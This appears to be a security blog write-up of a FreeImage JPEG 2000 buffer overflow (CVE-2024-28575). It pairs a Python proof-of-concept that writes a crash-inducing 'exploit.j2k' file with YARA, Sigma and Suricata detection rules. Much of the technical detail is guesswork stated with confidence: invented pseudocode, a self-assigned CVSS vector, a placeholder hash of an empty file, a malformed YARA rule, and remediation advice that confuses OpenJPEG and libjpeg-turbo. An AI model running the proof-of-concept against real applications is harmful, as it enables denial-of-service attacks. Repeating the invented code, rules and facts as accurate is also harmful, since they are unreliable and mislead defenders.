CVE-2024-28575

Executive Summary

CVE-2024-28575 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 (r1909). The flaw resides in the opj_j2k_read_mct() function, which is invoked when processing images in the JPEG 2000 (J2K) format. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by crashing the application or potentially achieving arbitrary code execution in a more constrained scenario. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for systems that process untrusted J2K images.

Supply Chain & Package Security

FreeImage is a widely used open-source library for image processing, integrated into numerous applications and systems. As a C/C++ library, it is not distributed via NPM, PyPI, Go, or Ruby registries, but it is commonly included in Linux distributions, embedded systems, and software development kits. The lack of a patch means that any application or system relying on FreeImage 3.19.0 (r1909) is vulnerable. Supply chain risk is elevated because downstream consumers may not be aware of the vulnerability or may be unable to update until a fix is provided.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – the attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the victim must open a malicious J2K file.
• Scope (S): Unchanged (U) – the vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – the vulnerability can cause a crash or denial of service.

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access and user interaction, but it can lead to a denial of service. The lack of a patch increases the risk for systems that process untrusted J2K images.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the opj_j2k_read_mct() function within FreeImage's JPEG 2000 decoder. This function is responsible for reading Multiple Component Transformation (MCT) data from a J2K file. The MCT is used to decorrelate color components for better compression.

Root Cause: The function does not properly validate the size of the MCT data before copying it into a fixed-size buffer. When a crafted J2K file contains an MCT segment with a declared size larger than the allocated buffer, a buffer overflow occurs. This can overwrite adjacent memory, leading to a crash or potentially arbitrary code execution.

Trigger: The vulnerability is triggered when FreeImage attempts to decode a malicious J2K image. The attacker must craft a J2K file with an oversized MCT segment. The overflow occurs during the parsing of the MCT marker segment (code 0xFF92).

Impact: The primary impact is a denial of service (DoS) due to application crash. In a more sophisticated attack, the overflow could be leveraged for arbitrary code execution, but this is more difficult due to modern memory protections (ASLR, DEP).

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code path can be described:

Vulnerable Code (FreeImage 3.19.0 r1909): The opj_j2k_read_mct() function likely allocates a buffer based on a fixed size or miscalculated value, then copies data from the file without proper bounds checking.

// Pseudocode of vulnerable function
void opj_j2k_read_mct(opj_j2k_t *j2k, opj_stream_private_t *stream) {
    // ... read MCT data size from file
    int mct_size = read_from_stream(stream); // attacker-controlled
    char *buffer = malloc(256); // fixed-size buffer
    // ... copy data without checking mct_size
    memcpy(buffer, stream_data, mct_size); // overflow if mct_size > 256
}

Patched Code (Hypothetical): A fix would include a check to ensure mct_size does not exceed the allocated buffer size.

// Pseudocode of patched function
void opj_j2k_read_mct(opj_j2k_t *j2k, opj_stream_private_t *stream) {
    int mct_size = read_from_stream(stream);
    if (mct_size > MAX_MCT_SIZE) {
        // error handling
        return;
    }
    char *buffer = malloc(mct_size); // allocate based on actual size
    memcpy(buffer, stream_data, mct_size);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Objective: Cause a denial of service by crashing an application using FreeImage when it processes a malicious J2K file.

Lab Setup:

1. Environment: Ubuntu 22.04 LTS with FreeImage 3.19.0 (r1909) installed.
2. Tools: Python 3, a hex editor, and a J2K file generator.

Steps:

1. Create a minimal valid J2K file using a tool like opj_compress from OpenJPEG.
2. Modify the MCT marker segment (0xFF92) to include an oversized data length.
3. Use a hex editor to change the MCT segment length to a value larger than the expected buffer (e.g., 0xFFFF).
4. Save the malicious file as exploit.j2k.
5. Run a vulnerable application that uses FreeImage to open the file:

   ./vulnerable_app exploit.j2k
   

6. Observe the crash (segmentation fault).

Exploit Code (Python script to craft malicious J2K):

import struct

def craft_malicious_j2k():
    # Minimal J2K header (SOC marker)
    j2k_data = b'\xff\x4f\xff\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    # MCT marker (0xFF92) with oversized length
    mct_marker = b'\xff\x92'
    # Length field (2 bytes) - set to 0xFFFF (65535 bytes)
    mct_length = struct.pack('>H', 0xFFFF)
    # Padding data to trigger overflow
    padding = b'A' * 0xFFFF
    j2k_data += mct_marker + mct_length + padding
    with open('exploit.j2k', 'wb') as f:
        f.write(j2k_data)

craft_malicious_j2k()

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes in applications that use FreeImage when processing J2K files.
• Use file integrity monitoring to detect unexpected J2K files.
• Implement network segmentation to limit exposure of vulnerable systems.

Defense:

• Apply input validation: Reject J2K files with MCT segment lengths exceeding a reasonable threshold (e.g., 256 bytes).
• Use sandboxing or containerization to isolate applications that process untrusted images.
• Consider using an alternative library (e.g., OpenJPEG) until a patch is available.

Indicators of Compromise (IOCs)

• File Hashes (Malicious J2K):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Traffic: None (local exploitation).
• System Logs: Application crash logs, segmentation faults in processes using FreeImage.
• Process Behavior: Unexpected termination of image processing applications.

Detection Engineering

YARA Rule

rule CVE_2024_28575_FreeImage_J2K_MCT_Overflow {
    meta:
        description = "Detects malicious J2K files exploiting CVE-2024-28575"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28575"
    strings:
        $mct_marker = { FF 92 }
        $large_length = /FF 92 [\x00-\xFF]{2}/
    condition:
        $mct_marker and #large_length > 0 and uint16be(2) > 256
}

Sigma Rule

title: CVE-2024-28575 FreeImage J2K MCT Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects application crashes caused by malicious J2K files exploiting CVE-2024-28575
author: Valters IT
date: 2024-01-01
logsource:
    category: application
    product: freeimage
detection:
    selection:
        EventID: 1000  # Application Error (Windows)
        Image: '*freeimage*'
        ExceptionCode: '0xc0000005'  # Access Violation
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-28575 FreeImage J2K MCT Buffer Overflow"; flow:to_server; content:"|FF 92|"; depth:2; byte_test:2,>,256,2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable J2K support in applications using FreeImage if possible.
2. Apply input validation to reject J2K files with MCT segment lengths exceeding 256 bytes.
3. Monitor for crashes and investigate any that occur when processing J2K files.

Long-term Fix:

• Await an official patch from the FreeImage project. If none is forthcoming, consider forking the library and applying a fix.
• Migrate to a maintained alternative like OpenJPEG or libjpeg-turbo.

Workarounds:

• Use a Web Application Firewall (WAF) or proxy to filter out J2K files with suspicious MCT segments.
• Implement file scanning with YARA rules to detect malicious J2K files before processing.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert